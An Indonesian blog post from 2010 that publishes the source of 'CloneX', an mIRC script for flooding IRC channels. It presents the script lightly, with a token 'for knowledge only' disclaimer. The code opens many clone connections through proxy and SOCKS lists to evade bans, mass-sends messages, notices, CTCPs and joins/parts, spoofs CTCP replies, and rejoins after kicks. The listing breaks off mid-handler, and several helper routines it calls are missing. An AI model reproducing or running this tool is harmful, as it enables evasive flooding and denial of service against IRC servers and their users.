Jumat, 12 Maret 2010

Flooding Service Using CloneX Script

Iseng iseng flooding service dengan script ini cukup lumayan buat jadi thread di channel-channel.Tapi Resiko ditanggung sendiri jangan nakal ya sekedar untuk pengetahuan. Berikut ini source codenya :

--------------------------------------------------------------
Alias CloneX {
If ($Dialog(p.cloning)) { Dialog -v p.cloning }
Else { Dialog -md p.cloning p.cloning }
}
dialog p.cloning {
title " ...:: R0ni & Zoti ::... "
size -1 -1 696 560
option pixels
tab "Connection", 200, 8 8 679 543
box "Server", 8, 24 56 244 76, tab 200
text "Server:", 9, 32 78 42 16, tab 200
edit "", 10, 72 76 188 21, tab 200 autohs
text "Server Port:", 1, 32 104 66 16, tab 200
box "Nickname Settings", 34, 24 136 244 68, tab 200
radio "", 35, 32 152 12 20, tab 200
radio "Other:", 36, 32 176 52 20, tab 200
edit "", 38, 88 176 172 21, tab 200 autohs
combo 12, 100 100 160 132, tab 200 size edit drop
box "Connection Statistics", 39, 16 360 260 76, tab 200
text "Number of Clones Connected:", 40, 24 384 154 16, tab 200
text "Total amount of Connections:", 42, 24 408 154 16, tab 200
text "-", 41, 184 384 82 16, tab 200
text "-", 43, 184 408 82 16, tab 200
text "Number of Clones to Connect:", 49, 24 272 146 16, tab 200
text "Protocol to Connect through:", 215, 24 296 146 16, tab 200
text "Delay between Connections:", 390, 24 320 146 16, tab 200
combo 50, 176 272 88 180, tab 200 size drop
combo 47, 176 296 88 108, tab 200 size drop
combo 391, 176 320 88 148, tab 200 size drop
box "Connection Status", 219, 280 40 396 500, tab 200
edit "", 44, 288 56 380 445, tab 200 read multi autohs vsbar
button "Clear Status Window", 53, 288 504 379 25, tab 200
button "Connect", 48, 16 440 259 25, disable tab 200
button "Connect with Nicklist", 3000, 16 472 259 25, tab 200
button "Disconnect All", 52, 16 512 259 25, tab 200
combo 37, 48 152 216 116, tab 200 size drop
box "PreLoad Settings", 51, 16 40 260 316, tab 200
box "User Modes", 54, 24 208 244 52, tab 200
text "On connect user mode:", 57, 32 232 114 16, tab 200
edit "+id", 58, 152 228 108 21, tab 200
tab "Firewall", 201
box "Socks 4", 234, 240 40 212 500, tab 201
box "Socks 5", 235, 464 40 212 500, tab 201
box "HTTP Proxy", 236, 16 40 212 500, tab 201
text "Host/IP:", 55, 24 58 42 16, tab 201
text "Port:", 56, 24 82 26 16, tab 201
edit "", 3, 56 80 164 21, tab 201 autohs
edit "", 2, 72 56 148 21, tab 201 autohs
text "Host/IP:", 65, 248 58 42 16, tab 201
edit "", 66, 296 56 148 21, tab 201 autohs
text "Port:", 67, 248 82 26 16, tab 201
edit "", 68, 280 80 164 21, tab 201 autohs
button "Import", 6, 128 104 91 17, tab 201
button "Remove All", 244, 128 120 91 17, tab 201
button "Add", 5, 24 104 91 17, tab 201
button "Add", 70, 248 104 91 17, tab 201
button "Remove", 72, 248 120 91 17, tab 201
button "Import", 71, 352 104 91 17, tab 201
button "Remove All", 256, 352 120 91 17, tab 201
button "Remove", 7, 24 120 91 17, tab 201
text "Host/IP:", 74, 472 58 42 16, tab 201
edit "", 75, 520 56 148 21, tab 201 autohs
text "Port:", 76, 472 82 26 16, tab 201
edit "", 77, 504 80 164 21, tab 201 autohs
button "Add", 79, 472 104 91 17, tab 201
button "Remove", 81, 472 120 91 17, tab 201
button "Import", 80, 576 104 91 17, tab 201
button "Remove All", 265, 576 120 91 17, tab 201
list 78, 472 144 196 388, tab 201 size hsbar vsbar
list 69, 248 144 196 388, tab 201 size hsbar vsbar
list 4, 24 144 196 388, tab 201 size hsbar vsbar
tab "Actions", 202
box "Actions", 305, 192 40 484 276, tab 202
button "Join", 306, 200 56 67 17, disable tab 202
button "Part", 307, 200 80 67 17, disable tab 202
button "CTCP", 309, 200 232 67 17, disable tab 202
button "Message", 310, 200 136 67 17, disable tab 202
button "Notice", 311, 200 160 67 17, disable tab 202
button "Other Command", 312, 200 288 107 17, disable tab 202
edit "", 314, 272 56 84 21, disable tab 202 autohs
edit "", 316, 272 80 84 21, disable tab 202 autohs
edit "", 320, 272 232 84 21, disable tab 202 autohs
edit "", 322, 272 136 84 21, disable tab 202 autohs
edit "", 326, 272 160 84 21, disable tab 202 autohs
edit "", 329, 312 288 356 21, disable tab 202 autohs
text "Message:", 323, 360 136 50 16, tab 202
text "Message:", 327, 360 160 50 16, tab 202
edit "", 324, 416 136 252 21, disable tab 202 autohs
edit "", 328, 416 160 252 21, disable tab 202 autohs
button "Change", 330, 584 376 83 17, disable tab 202
edit "Random", 331, 584 392 84 21, disable tab 202 autohs
box "Nicks to Perform the Actions:", 332, 24 376 156 76, tab 202
edit "", 783, 416 80 252 21, disable tab 202 autohs
text "Message:", 784, 360 80 50 16, tab 202
radio "All", 333, 104 392 36 20, disable tab 202
radio "Selected", 334, 104 408 60 20, disable tab 202
radio "Group 1", 335, 32 392 60 20, disable tab 202
radio "Group 2", 336, 32 408 60 20, disable tab 202
radio "Group 3", 337, 32 424 60 20, disable tab 202
box "Nick List", 338, 16 40 172 500, tab 202
list 339, 24 56 156 316, disable tab 202 size extsel vsbar
list 373, 456 384 108 148, disable tab 202 size vsbar
list 369, 328 384 108 148, disable tab 202 size vsbar
list 351, 200 368 108 164, disable tab 202 size vsbar
button "Move to Group 1 >", 340, 24 464 155 17, disable tab 202
button "Move to Group 2 >", 341, 24 488 155 17, disable tab 202
button "Move to Group 3 >", 342, 24 512 155 17, disable tab 202
box "Group 1", 348, 192 320 124 220, tab 202
box "Group 2", 366, 320 320 124 220, tab 202
box "Group 3", 370, 448 320 124 220, tab 202
button "Remove", 349, 200 336 107 17, disable tab 202
button "Remove All", 350, 200 352 107 17, disable tab 202
button "Remove", 367, 328 336 107 17, disable tab 202
button "Remove All", 368, 328 352 107 17, disable tab 202
button "Remove", 371, 456 336 107 17, disable tab 202
button "Remove All", 372, 456 352 107 17, disable tab 202
button "Quit", 11, 200 264 67 17, disable tab 202
edit "", 13, 272 264 396 21, disable tab 202 autohs
edit "", 18, 400 232 268 21, disable tab 202 autohs
text "CTCP:", 19, 360 232 34 16, tab 202
button "Nicklist", 20, 584 472 83 17, disable tab 202
text "Channel key when Channel's +k:", 22, 360 56 162 16, tab 202
edit "", 23, 528 56 140 21, disable tab 202
button "Describe", 24, 200 184 67 17, disable tab 202
edit "", 25, 272 184 84 21, disable tab 202 autohs
text "Message:", 26, 360 184 50 16, tab 202
edit "", 27, 416 184 252 21, disable tab 202 autohs
button "Join Part", 28, 200 104 67 17, disable tab 202
edit "", 29, 272 104 84 21, disable tab 202 autohs
text "Message:", 30, 360 104 50 16, tab 202
edit "", 31, 416 104 252 21, disable tab 202 autohs
text "Change nickname using Nicklist:", 21, 584 432 90 32, tab 202
box "Nickname", 14, 576 352 100 188, tab 202
button "All 3", 15, 200 208 67 17, disable tab 202
edit "", 16, 272 208 84 21, disable tab 202 autohs
edit "", 17, 416 208 252 21, disable tab 202 autohs
text "Message:", 32, 360 208 50 16, tab 202
text "Nicklist Format: [Ident]", 33, 584 496 82 32, tab 202
check "Reply to CTCPs", 46, 576 328 92 20, tab 202
menu "File", 403
item "Quit", 476, 403, cancel
menu "Specials", 411
item "Ip-Ports", 412, 411
menu "Nick List", 413, 411
menu "Change Nick", 414, 413
item "Default List", 415, 414
item "Select List", 416, 414
menu "Safeguard Nicks", 417, 413
item "Default List", 418, 417
item "Select List", 419, 417
menu "Connect with List", 420, 413
item "Default List", 421, 420
item "Select List", 422, 420
}

On *:Dialog:p.cloning:Edit:*: {
If ($Did == 2) || ($Did == 3) { p.clon.fire.secl 2 3 5 }
If ($Did == 66) || ($Did == 68) { p.clon.fire.secl 66 68 70 }
If ($Did == 75) || ($Did == 77) { p.clon.fire.secl 75 77 79 }
If ($Did == 10) || ($Did == 12) || ($Did == 38) || ($Did == 50) { P.Cloning.conEcheck }
If ($Did == 38) { If ($len($Did($DName,38)) > 10) { P.Cloning.fal Nickname cannot exceed 10 Characters. | Did -r $DName 38 } }
If ($Did == 314) {
If (& iswm $Did($DName,$Did).Text) && ($Left($Did($DName,$Did).Text,1) == $chr(35)) Did -e $DName 306
Else Did -b $DName 306
}
If ($Did == 29) {
If (& iswm $Did($DName,$Did).Text) && ($Left($Did($DName,$Did).Text,1) == $chr(35)) Did -e $DName 28
Else Did -b $DName 28
}
If ($Did == 316) {
If (& iswm $Did($DName,$Did).Text) && ($Left($Did($DName,$Did).Text,1) == $chr(35)) { Did -e $DName 307 }
Else { Did -b $DName 307 }
}
If ($Did == 320) {
If (& iswm $Did($DName,$Did).Text) && (* iswm $Did($DName,18).Text) Did -e $DName 309
Else Did -b $DName 309
}
If ($Did == 322) || ($Did == 324) {
If (& iswm $Did($DName,322).Text) && (* iswm $Did($DName,324).Text) Did -e $DName 310
Else Did -b $DName 310
}
If ($Did == 326) || ($Did == 328) {
If (& iswm $Did($DName,326).Text) && (* iswm $Did($DName,328).Text) Did -e $DName 311
Else Did -b $DName 311
}
If ($Did == 25) || ($Did == 27) {
If (& iswm $Did($DName,25).Text) && (* iswm $Did($DName,27).Text) Did -e $DName 24
Else Did -b $DName 24
}
If ($Did == 16) || ($Did == 17) {
If (& iswm $Did($DName,16).Text) && (* iswm $Did($DName,17).Text) Did -e $DName 15
Else Did -b $DName 15
}
If ($Did == 320) || ($Did == 18) {
If (& iswm $Did($DName,320).Text) && (* iswm $Did($DName,18).Text) Did -e $DName 309
Else Did -b $DName 309
}
If ($Did == 329) {
If (* iswm $Did($DName,$Did).Text) Did -e $DName 312
Else Did -b $DName 312
}
If ($Did == 331) {
If (& iswm $Did($DName,$Did).Text) Did -e $DName 330
Else Did -b $DName 330
}
}
Alias -l P.Cloning.conEcheck {
If ($Dialog(p.cloning)) {
If (??* iswm $Did($DName,10)) && ($abs($Did($DName,12)) != 0) && ($abs($Did($DName,50)) != 0) {
If ($Did($DName,36).state == 0) { Did -e $DName 48 | Did -e $DName 421 | Did -e $DName 422 }
Elseif ($Did($DName,38)) { Did -e $DName 48 | Did -e $DName 421 | Did -e $DName 422 }
Else { If ($Did($DName,48).enabled == $True) { Did -b $DName 48 | Did -b $DName 421 | Did -b $DName 422 } }
}
Elseif ($Did($DName,48).enabled == $True) { Did -b $DName 48 | Did -b $DName 421 | Did -b $DName 422 }
}
}
Alias -l p.clon.fire.secl {
If ($Dialog(p.cloning)) {
If (??* iswm $Did($DName,$1)) && ($abs($Did($DName,$2)) != 0) && ($Did($DName,$2)) { Did -e $DName $$3 }
Elseif ($Did($DName,$$3).enabled == $True) { Did -b $DName $$3 }
}
}
Alias -l p.clon.fire.secl1 {
Var %p.clon.fire.secl1 = $Did($DName,$2) $Did($DName,$$3)
If ($Dialog(p.cloning)) && (!$Didwm($DName,$1,%p.clon.fire.secl1)) { Did -i $DName $1 $calc($Did($DName,$1).lines + 1) %p.clon.fire.secl1 }
}
Alias -l P.Cloning.fire.secl2 { If ($Dialog(p.cloning)) { Did -d $DName $1 $$Did($DName,$1).sel } }
Alias -l P.Cloning.fire.secl3 {
If ($Dialog(p.cloning)) {
Var %P.Cloning.proFile = $SFile($iif(%p.save.cloning.lstPath,%p.save.cloning.lstPath,C:\),Select,Import)
If (%P.Cloning.proFile) {
Set %p.save.cloning.lstPath $nofile(%P.Cloning.proFile)
Var %I = 1
While (%I <= $Lines(%P.Cloning.proFile)) {
Var %P.Cloning.proFile.p = $read(%P.Cloning.proFile,%I)
If ($Gettok(%P.Cloning.proFile.p,0,58) == 2) { Var %P.Cloning.proFile.p = $Gettok(%P.Cloning.proFile.p,1,58) $Gettok(%P.Cloning.proFile.p,2,58) }
If (($Gettok(%P.Cloning.proFile.p,0,32) != 2) || ($abs($Gettok(%P.Cloning.proFile.p,2,32)) == 0)) { P.Cloning.fal The Proxy File must have the Proxy and the Port in this order: one.proxy.com 8080 OR other.proxy.com:8080 | return }
If (%P.Cloning.proFile.p) && (!$Didwm($DName,$1,%P.Cloning.proFile.p)) { Did -i $DName $1 $calc($Did($DName,$1).lines + 1) %P.Cloning.proFile.p }
Inc %I
}
Unset %P.Cloning.proFile.p
}
}
}
Alias -l P.Cloning.ddnsd {
If ($Dialog(p.cloning)) {
If ($Did(p.cloning,47).Text == Socks 4) || ($Did(p.cloning,47).Text == Socks 5) {
.enable #P.Cloning.DdnsD
.dns $Did(p.cloning,10).Text
p.clon.stats -Resolving Host/Ip... $time
}
Else { P.Cloning.jj }
}
}
#P.Cloning.DdnsD off
On *:DNS: {
If ($Dialog(p.cloning)) {
Did -o p.cloning 10 1 $Iif($iaddress,$iaddress,$naddress)
.disable #P.Cloning.DdnsD
p.clon.stats -Resolved to $Iif($iaddress,$iaddress,$naddress) at $time
p.clon.stats -
P.Cloning.jj
}
Haltdef
}
#P.Cloning.DdnsD end
On *:Dialog:p.cloning:sclick:*: {
If ($Did == 53) { Did -r $DName 44 }
If ($Did == 36) { If ($Did($DName,36).state == 1) && ($Did($DName,38) == $null) { Did -b $DName 48 | Did -b $DName 421 | Did -b $DName 422 } }
If ($Did == 35) { If ($Did($DName,5).enabled == $False) { Did -e $DName 48 | Did -e $DName 421 | Did -e $DName 422 } }
If ($Did == 70) { p.clon.fire.secl1 69 66 68 }
If ($Did == 79) { p.clon.fire.secl1 78 75 77 }
If ($Did == 72) { P.Cloning.fire.secl2 69 }
If ($Did == 81) { P.Cloning.fire.secl2 78 }
If ($Did == 5) { p.clon.fire.secl1 4 2 3 }
If ($Did == 6) { P.Cloning.fire.secl3 4 }
If ($Did == 7) { P.Cloning.fire.secl2 4 }
If ($Did == 71) { P.Cloning.fire.secl3 69 }
If ($Did == 80) { P.Cloning.fire.secl3 78 }
If ($Did == 48) { Unset %P.Cloning.Nlist.conn* | P.Cloning.ddnsd }
If ($Did == 52) {
If ($Sock(p.cloning*)) { .SockWrite -nt P.Cloning.* Quit | .timerPCloning.out 1 1 .sockclose P.Cloning.* }
If ($hget(P.Cloning.a)) { hfree P.Cloning.a }
.timerP.Cloning.Recr off
P.Cloning.recr 1
Unset %P.Cloning.pn %P.Cloning.t | .timerP.Cloning.* off | p.clon.stats | P.Cloning.cmds
}
If ($Did == 339) {
If ($Did($DName,$Did).sel) { Did -e $DName 340 | Did -e $DName 341 | Did -e $DName 342 }
Else { Did -b $DName 340 | Did -b $DName 341 | Did -b $DName 342 }
}
If ($Did == 244) { Did -r $DName 4 }
If ($Did == 256) { Did -r $DName 69 }
If ($Did == 265) { Did -r $DName 78 }
If ($Did == 340) && ($Did($DName,339).sel) { P.Cloning.nick.gr.ad 351 }
If ($Did == 341) && ($Did($DName,339).sel) { P.Cloning.nick.gr.ad 369 }
If ($Did == 342) && ($Did($DName,339).sel) { P.Cloning.nick.gr.ad 373 }
If ($Did == 349) { Did -d $DName 351 $$Did($DName,351).sel }
If ($Did == 367) { Did -d $DName 369 $$Did($DName,369).sel }
If ($Did == 371) { Did -d $DName 373 $$Did($DName,373).sel }
If ($Did == 350) { Did -r $DName 351 }
If ($Did == 368) { Did -r $DName 369 }
If ($Did == 372) { Did -r $DName 373 }
If ($Did == 28) { P.Cloning.runcmd JOIN $Did($DName,29).Text | P.Cloning.runcmd PART $Did($DName,29).Text : $+ $Did($DName,31).Text }
If ($Did == 11) { P.Cloning.runcmd Quit : $+ $Did($DName,13).Text }
If ($Did == 24) { P.Cloning.runcmd PRIVMSG $Did($DName,25).Text : ACTION $Did($DName,27).Text $+ }
If ($Did == 15) {
P.Cloning.runcmd PRIVMSG $Did($DName,16).Text : $+ $Did($DName,17).Text
P.Cloning.runcmd NOTICE $Did($DName,16).Text : $+ $Did($DName,17).Text
P.Cloning.runcmd PRIVMSG $Did($DName,16).Text : ACTION $Did($DName,17).Text $+
}
If ($Did == 306) { P.Cloning.runcmd JOIN $Did($DName,314).Text $Did($DName,23).Text }
If ($Did == 307) { P.Cloning.runcmd PART $Did($DName,316).Text : $+ $Did($DName,783).Text }
If ($Did == 309) { P.Cloning.runcmd PRIVMSG $Did($DName,320).Text : $+ $chr(1) $+ $Did($DName,18).Text $+ $chr(1) }
If ($Did == 310) { P.Cloning.runcmd PRIVMSG $Did($DName,322).Text : $+ $Did($DName,324).Text }
If ($Did == 311) { P.Cloning.runcmd NOTICE $Did($DName,326).Text : $+ $Did($DName,328).Text }
If ($Did == 312) { P.Cloning.runcmd $Did($DName,329).Text }
If ($Did == 330) { P.Cloning.runcmd NICK $Did($DName,331).Text }
If ($Did == 20) { P.Cloning.list.nicksch $SFile($mircdir,"Select") }
If ($Did == 3000) {
Unset %P.Cloning.Nlist.conn*
Set %P.Cloning.Nlist.conn 1
Set %P.Cloning.Nlist.conn.f $SFile($mircdir,"Choose File")
If (%P.Cloning.Nlist.conn.f) { P.Cloning.ddnsd }
}
}
On *:Dialog:p.cloning:menu:*: {
If ($Did == 476) { Set %p.save.cloning.srv $Did($DName,10).Text }
If ($Did == 412) { P.Cloning.ipports }
If ($Did == 415) { P.Cloning.list.nicksch $mircdirClXNickList.cfg }
If ($Did == 416) { P.Cloning.list.nicksch $SFile($mircdir,"Select") }
If ($Did == 418) { P.Cloning.list.save $mircdirClXNickList.cfg }
If ($Did == 419) { P.Cloning.list.save $SFile($mircdir,"Seclect",Select) }
If ($Did == 421) {
Unset %P.Cloning.Nlist.conn*
Set %P.Cloning.Nlist.conn 1
If ($exists($mircdirClXNickList.cfg) == $False) { P.Cloning.fal File not Found }
Set %P.Cloning.Nlist.conn.f $mircdirClXNickList.cfg
P.Cloning.ddnsd
}
If ($Did == 422) {
Unset %P.Cloning.Nlist.conn*
Set %P.Cloning.Nlist.conn 1
Set %P.Cloning.Nlist.conn.f $SFile($mircdir,"Choose File")
If (%P.Cloning.Nlist.conn.f) { P.Cloning.ddnsd }
}
}
Alias -l P.Cloning.nick.gr.ad {
If ($Dialog(p.cloning)) {
Var %I = 1
While ($Did(p.cloning,339,$Did(p.cloning,339,%I).sel).Text) {
Var %P.Cloning.adgr1.nicks = $IfMatch
If (!$Didwm(p.cloning,$1,%P.Cloning.adgr1.nicks)) { Did -i p.cloning $1 $calc($Did(p.cloning,$1).lines + 1) %P.Cloning.adgr1.nicks }
Inc %I
}
}
}
Alias -l P.Cloning.jj {
If ($Did(p.cloning,47).Text == Normal) { p.clon.do }
Elseif ($Did(p.cloning,47).Text == Proxy) {
If (!$Did(p.cloning,4,1)) { P.Cloning.fal Please add Proxies to the Proxy list. | P.Cloning.recr 1 | Return }
p.clon.do
}
Elseif ($Did(p.cloning,47).Text == Socks 4) {
If (!$Did(p.cloning,69,1)) { P.Cloning.fal Please add Proxies to the Socks 4 list. | P.Cloning.recr 1 | Return }
p.clon.do
}
Elseif ($Did(p.cloning,47).Text == Socks 5) {
If (!$Did(p.cloning,78,1)) { P.Cloning.fal Please add Proxies to the Socks 5 list. | P.Cloning.recr 1 | Return }
p.clon.do
}
}
Alias -l p.clon.dodo {
If ($Dialog(p.cloning)) && (!$Sock($1)) {
P.Cloning.do.w $1 0,0
.sockopen $1-
If ($Did(p.cloning,47).Text == Normal) { Var %p.clon.dodo = *Socket -Normal-: }
If ($Did(p.cloning,47).Text == Proxy) { Var %p.clon.dodo = *Socket -Proxy-: }
If ($Did(p.cloning,47).Text == Socks 4) { Var %p.clon.dodo = *Socket -Socks 4-: }
If ($Did(p.cloning,47).Text == Socks 5) { Var %p.clon.dodo = *Socket -Socks 5-: }
p.clon.stats %p.clon.dodo $Did(p.cloning,10) $Did(p.cloning,12)
}
}
Alias -l p.clon.do {
If ($Dialog(p.cloning)) {
P.Cloning.recr 0
Var %P.Cloning.delay = $Did(p.cloning,391).Text
If ($Did(p.cloning,47).Text == Normal) {
Var %I = 1
While (%I <= $Did(p.cloning,50).Text) {
Inc %P.Cloning.t
.timerP.Cloning. [ $+ [ %P.Cloning.t ] ] 1 $calc($iif(%I == 1,0,%I) * %P.Cloning.delay) p.clon.dodo P.Cloning. [ $+ [ %P.Cloning.t ] ] $Did(p.cloning,10) $Did(p.cloning,12)
Inc %I
}
.timerP.Cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%I * %P.Cloning.delay) P.Cloning.recr 1
P.Cloning.recr 0
}
Elseif ($Did(p.cloning,47).Text == Proxy) {
Var %I = 1
While (%I <= $Did(p.cloning,50).Text) {
If ($Did(p.cloning,4,$calc(%P.Cloning.pn + 1))) { Inc %P.Cloning.pn }
Elseif ($Did(p.cloning,4,1)) { Set %P.Cloning.pn 1 }
Else { P.Cloning.fal Not Proxies. Configure. | Return }
Inc %P.Cloning.t
.timerP.Cloning. [ $+ [ %P.Cloning.t ] ] 1 $calc($iif(%I == 1,0,%I) * %P.Cloning.delay) p.clon.dodo P.Cloning. [ $+ [ %P.Cloning.t ] ] $Gettok($Did(p.cloning,4,%P.Cloning.pn),1,32) $Gettok($Did(p.cloning,4,%P.Cloning.pn),2,32)
Inc %I
}
.timerP.Cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%I * %P.Cloning.delay) P.Cloning.recr 1
P.Cloning.recr 0
}
Elseif ($Did(p.cloning,47).Text == Socks 4) {
Var %I = 1
While (%I <= $Did(p.cloning,50).Text) {
If ($Did(p.cloning,69,$calc(%P.Cloning.pn4 + 1))) { Inc %P.Cloning.pn4 }
Elseif ($Did(p.cloning,69,1)) { Set %P.Cloning.pn4 1 }
Else { P.Cloning.fal Not Socks 4. Configure. | Return }
Inc %P.Cloning.t
.timerP.Cloning. [ $+ [ %P.Cloning.t ] ] 1 $calc($iif(%I == 1,0,%I) * %P.Cloning.delay) p.clon.dodo P.Cloning. [ $+ [ %P.Cloning.t ] ] $Gettok($Did(p.cloning,69,%P.Cloning.pn4),1,32) $Gettok($Did(p.cloning,69,%P.Cloning.pn4),2,32)
Inc %I
}
.timerP.Cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%I * %P.Cloning.delay) P.Cloning.recr 1
P.Cloning.recr 0
}
Elseif ($Did(p.cloning,47).Text == Socks 5) {
Var %I = 1
While (%I <= $Did(p.cloning,50).Text) {
If ($Did(p.cloning,78,$calc(%P.Cloning.pn5 + 1))) { Inc %P.Cloning.pn5 }
Elseif ($Did(p.cloning,78,1)) { Set %P.Cloning.pn5 1 }
Else { P.Cloning.fal Not Socks 5. Configure. | Return }
Inc %P.Cloning.t
.timerP.Cloning. [ $+ [ %P.Cloning.t ] ] 1 $calc($iif(%I == 1,0,%I) * %P.Cloning.delay) p.clon.dodo P.Cloning. [ $+ [ %P.Cloning.t ] ] $Gettok($Did(p.cloning,78,%P.Cloning.pn5),1,32) $Gettok($Did(p.cloning,78,%P.Cloning.pn5),2,32)
Inc %I
}
.timerP.Cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%I * %P.Cloning.delay) P.Cloning.recr 1
P.Cloning.recr 0
}
}
}
Alias -l P.Cloning.recr {
If ($Dialog(p.cloning)) {
If ($1 == 0) {
Did -b p.cloning 10 | Did -b p.cloning 12 | Did -b p.cloning 47 | Did -b p.cloning 50 | Did -b p.cloning 391 | Did -b p.cloning 422
Did -b p.cloning 35 | Did -b p.cloning 36 | Did -b p.cloning 37 | Did -b p.cloning 38 | Did -b p.cloning 421 | Did -b p.cloning 48
}
If ($1 == 1) {
Did -e p.cloning 10 | Did -e p.cloning 12 | Did -e p.cloning 47 | Did -e p.cloning 50 | Did -e p.cloning 391
Did -e p.cloning 35 | Did -e p.cloning 36 | Did -e p.cloning 37 | Did -e p.cloning 38
If (??* iswm $Did(p.cloning,10)) && ($abs($Did(p.cloning,12)) != 0) && ($abs($Did(p.cloning,50)) != 0) {
If ($Did(p.cloning,36).state == 0) { Did -e p.cloning 48 | Did -e p.cloning 421 | Did -e p.cloning 422 }
Elseif ($Did(p.cloning,38)) { Did -e p.cloning 48 | Did -e p.cloning 421 | Did -e p.cloning 422 }
}
}
}
}
Alias -l p.clon.stats {
If ($Dialog(p.cloning)) {
Did -o p.cloning 41 1 $iif($P.Cloning.dos.numCL(1),$P.Cloning.dos.numCL(1),-)
Did -o p.cloning 43 1 $iif($P.Cloning.dos.numCL(0),$P.Cloning.dos.numCL(0),-)
If ($1-) { Did -i p.cloning 44 $Did(p.cloning,44).lines $1- }
}
}
On *:Dialog:p.cloning:init:0: {
.disable #P.Cloning.DdnsD
If ($hget(P.Cloning.a)) { hfree P.Cloning.a }
Unset %P.Cloning.pn %P.Cloning.t | .timerP.Cloning.* off
Did -i $DName 12 1 6666 | Did -i $DName 12 2 6667 | Did -i $DName 12 3 6668 | Did -i $DName 12 4 6669 | Did -i $DName 12 5 7000 | Did -i $DName 12 6 8888 | Did -c $DName 12 2
If (%p.save.cloning.srv) { Did -i $DName 10 1 %p.save.cloning.srv }
Did -c $DName 35 | Did -i $DName 37 1 Random | Did -i $DName 37 2 Fucker | Did -i $DName 37 3 Sucker | Did -i $DName 37 4 Flooder | Did -c $DName 37 1
Did -c $DName 333 | Did -b $DName 415 | Did -b $DName 416 | Did -b $DName 418 | Did -b $DName 419 | Did -b $DName 412
Var %I = 1 | Var %o = 1 | While (%o < 600) { Did -i $DName 50 %I %o | Inc %I | Var %o = %o * 2 } | Did -c $DName 50 8
Var %I = 1 | Var %o = 1 | While (%o < 5) { Did -i $DName 391 %I %o | Inc %I | Var %o = %o * 2 } | Did -i $DName 391 1 0 | Did -c $DName 391 1
Did -i $DName 47 1 Normal | Did -i $DName 47 2 Proxy | Did -i $DName 47 3 Socks 4 | Did -i $DName 47 4 Socks 5 | Did -c $DName 47 1
P.Cloning.conEcheck
}
On *:SockRead:P.Cloning.*: {
If ($Dialog(p.cloning)) {
Var %P.Cloning.server = $Did(p.cloning,10)
Var %P.Cloning.port = $Did(p.cloning,12)
If ($sockerr != 0) { P.Cloning.con.com $SockName | p.clon.stats Disconnected: %P.Cloning.server %P.Cloning.port - $+ %P.Cloning.read $+ - | P.Cloning.cmds }
Else {
If ($Did(p.cloning,47).Text == Socks 4) {
If ($Sock($SockName).mark != 1) {
SockRead &P.Cloning.bread
If ($bvar(&P.Cloning.bread,1,2) == 0 90) { P.Cloning.usIn $SockName | sockmark $SockName 1 }
If ($bvar(&P.Cloning.bread,1,2) == 0 91) { P.Cloning.con.com $SockName | p.clon.stats Disconnected: %P.Cloning.server %P.Cloning.port -Socks4- | .sockclose $SockName | P.Cloning.cmds | Return }
}
}
If ($Did(p.cloning,47).Text == Socks 5) {
If ($Sock($SockName).mark != 1) {
SockRead &P.Cloning.bread
If ($bvar(&P.Cloning.bread,1,2) == 5 0) && ($bvar(&P.Cloning.bread,3) != 0) {
Var %P.Cloning.portS5 = $Gettok($longip(%P.Cloning.port),3,46) $Gettok($longip(%P.Cloning.port),4,46)
Var %P.Cloning.serverS5 = $replace(%P.Cloning.server,.,$chr(32))
bset &P.Cloning.ssenndd 1 5 1 0 1 %P.Cloning.serverS5 %P.Cloning.portS5
SockWrite $SockName &P.Cloning.ssenndd
}
If ($bvar(&P.Cloning.bread,1,2) == 5 255) { P.Cloning.con.com $SockName | p.clon.stats Disconnected: %P.Cloning.server %P.Cloning.port -Socks5- | P.Cloning.cmds }
If ($bvar(&P.Cloning.bread,1,3) == 5 0 0) { P.Cloning.usIn $SockName | sockmark $SockName 1 }
If ($bvar(&P.Cloning.bread,1,3) == 5 4 0) { P.Cloning.con.com $SockName | p.clon.stats Disconnected: %P.Cloning.server %P.Cloning.port -Socks5- | P.Cloning.cmds }
If ($bvar(&P.Cloning.bread,1,3) == 5 5 0) { P.Cloning.con.com $SockName | p.clon.stats Disconnected: %P.Cloning.server %P.Cloning.port -Socks5- | P.Cloning.cmds }
If ($bvar(&P.Cloning.bread,1,3) == 5 9 0) { P.Cloning.con.com $SockName | p.clon.stats Disconnected: %P.Cloning.server %P.Cloning.port -Socks5- | P.Cloning.cmds }
}
}
SockRead %P.Cloning.read
tokenize 32 %P.Cloning.read
If ($abs($2)) && ($Left($1,1) == $chr(58)) {
If ($2 == 1) {
P.Cloning.do.w $SockName 1, $+ $3
p.clon.stats -Connected: %P.Cloning.server %P.Cloning.port
P.Cloning.cmds
SockWrite -nt $SockName Mode $P.Cloning.do.saNick($SockName) $Did(p.cloning,58).Text
;SockWrite -nt $SockName Join #test
;SockWrite -nt $SockName Oper SnuG something
;SockWrite -nt $SockName SetHost $Read(Host.txt)
}
If ($2 == 433) && ($Gettok($hget(P.Cloning.a,$SockName),1,44) == 0) { P.Cloning.usIn $SockName }
}
Elseif (!$abs($2)) {
If ($2 == NICK) {
If ($remove($Gettok($1,1,33),:) == $P.Cloning.do.saNick($SockName)) && ($Gettok($1,2,33)) {
Var %P.Cloning.nnick = $remove($3,:)
Var %P.Cloning.anick = $remove($Gettok($1,1,33),:)
If ($Didwm(p.cloning,351,%P.Cloning.anick)) { Did -o p.cloning 351 $IfMatch %P.Cloning.nnick }
If ($Didwm(p.cloning,369,%P.Cloning.anick)) { Did -o p.cloning 369 $IfMatch %P.Cloning.nnick }
If ($Didwm(p.cloning,373,%P.Cloning.anick)) { Did -o p.cloning 373 $IfMatch %P.Cloning.nnick }
P.Cloning.do.w $SockName 1, $+ %P.Cloning.nnick
P.Cloning.nicks.act
}
}
}
If ($1 == PING) { SockWrite -nt $SockName pong : $+ $remove($2,:) | Return }
If ($Did(p.cloning,46).State == 1) {
If ($4 == : VERSION ) && ($2 == PRIVMSG) { SockWrite -nt $SockName NOTICE $remove($Gettok($1,1,33),:) : VERSION $VReply($Rand(1,15)) $+ }
If ($4 == : TIME ) && ($2 == PRIVMSG) { SockWrite -nt $SockName NOTICE $remove($Gettok($1,1,33),:) : TIME $AscTime($Rand($CTime,$Calc($CTime + $Rand(1,200000)))) $+ }
If ($4 == : PING) && ($2 == PRIVMSG) { SockWrite -nt $SockName NOTICE $remove($Gettok($1,1,33),:) : PING $CTime $+ }
}
If ($2 == KICK) { SockWrite -nt $SockName JOIN $3 }
